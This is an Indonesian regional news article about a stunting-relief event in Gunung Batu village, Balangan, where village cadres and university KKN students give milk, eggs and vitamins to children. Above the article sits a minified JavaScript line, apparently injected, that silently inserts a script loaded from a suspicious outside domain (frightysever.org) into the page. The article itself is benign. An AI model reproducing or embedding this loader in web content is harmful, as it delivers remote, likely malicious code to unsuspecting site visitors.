(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PARINGIN – Desa Gunung Batu menjadi lokasi kegiatan sosial Kader Pembangunan Manusia (KPM), Kader Berita, serta mahasiswa Kuliah Kerja Nyata (KKN) dari UIN Antasari Banjarmasin dan STAI Al-Washliyah Barabai bersatu dalam gerakan untuk mengatasi permasalahan stunting pada anak-anak.
Melalui aksi ini, para kader dan mahasiswa memberikan bantuan bagi anak-anak yang mengalami stunting, sebuah langkah kecil dengan dampak besar untuk meningkatkan kualitas kesehatan generasi muda.
Kegiatan diadakan rumah Kepala Desa Gunung Batu, Jumat (25/10/2024), mendapatkan sambutan hangat dari warga. Berbagai bantuan berupa susu, telur, dan vitamin dibagikan secara langsung kepada anak-anak yang membutuhkan.
Bantuan disambut dengan penuh harapan oleh orangtua yang mendampingi anak-anak mereka, berharap inisiatif ini dapat memberikan perubahan positif bagi kesehatan anak-anak di desa.
Salah seorang kader KPM yang memimpin distribusi bantuan, Siti Mariamah menunjukkan kepedulian yang mendalam dalam menjalankan perannya. Dengan telaten mengarahkan para orangtua mengenai pentingnya menjaga asupan gizi anak-anak, terutama dalam konsumsi susu dan vitamin secara teratur.
Baca juga: Pedagang Online Bingkai Foto Prabowo-Gibran di Banjarbaru Banjir Orderan
“Kita semua berharap dengan adanya dukungan seperti ini, angka stunting di desa ini dapat menurun secara signifikan. Semoga anak-anak kita tumbuh dengan sehat, cerdas, dan memiliki masa depan yang cerah,” ujarnya memberikan motivasi kepada para ibu.
Selain memberikan bantuan fisik, kegiatan ini juga melibatkan edukasi tentang pentingnya pemenuhan gizi pada anak. Para mahasiswa KKN turut memberikan informasi kepada para orang tua tentang pentingnya pola makan seimbang dan peran gizi dalam perkembangan anak. Mereka menyampaikan perhatian terhadap kesehatan anak perlu dimulai sejak usia dini untuk mencegah stunting dan masalah kesehatan lainnya yang dapat menghambat tumbuh kembang optimal.
Kegiatan ini merupakan bagian dari program yang lebih besar dalam upaya menanggulangi masalah stunting di Kabupaten Balangan. Para kader dan mahasiswa berkomitmen untuk melanjutkan upaya melalui program-program serupa di masa depan dengan harapan dapat menciptakan perubahan yang berkelanjutan.
Baca juga: BRImo Tebar Hadiah Menarik di USS 2024, Ada Voucher Belanja Hingga Logam Mulia
Inisiatif seperti ini diharapkan mampu membuka kesadaran masyarakat akan pentingnya gizi anak-anak dan menjadi langkah awal untuk menciptakan generasi yang lebih sehat.
Dengan adanya kolaborasi antara kader desa, mahasiswa, dan masyarakat, diharapkan aksi ini dapat menjadi inspirasi bagi desa-desa lain dalam menangani isu stunting.
Kegiatan ini tidak hanya memberikan bantuan materiil, tetapi juga menghadirkan semangat baru bagi masyarakat dalam mendukung pertumbuhan dan kesehatan anak-anak, sehingga mereka dapat mencapai potensi penuh dan menjadi generasi yang berkualitas. (Kanalkalimantan.com/mcbalangan)
Editor: kk
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More
KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More
KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More
KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More
KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More
This website uses cookies.